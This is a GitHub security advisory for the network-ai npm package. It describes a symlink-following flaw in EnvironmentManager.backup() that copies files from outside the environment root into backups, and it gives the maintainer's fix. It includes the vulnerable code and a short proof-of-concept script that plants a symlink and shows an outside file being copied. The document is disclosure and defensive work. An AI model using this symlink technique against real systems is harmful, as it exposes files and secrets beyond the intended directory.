Skip to content

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Moderate severity GitHub Reviewed Published Jun 18, 2026 in Jovancoding/Network-AI • Updated Jun 19, 2026

Package

network-ai (npm)

Affected versions

<= 5.12.1

Patched versions

5.12.2

Description

Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

  • lib/env-manager.ts:435-460 — backup copy logic.
  • lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
  • bin/cli.ts:413-420 — default CLI exposes backup creation.
  • lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');

const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, 'utf8'),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

References

@Jovancoding Jovancoding published to Jovancoding/Network-AI Jun 18, 2026
Published to the GitHub Advisory Database Jun 19, 2026
Reviewed Jun 19, 2026
Last updated Jun 19, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-6x2m-p4xp-wg22

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.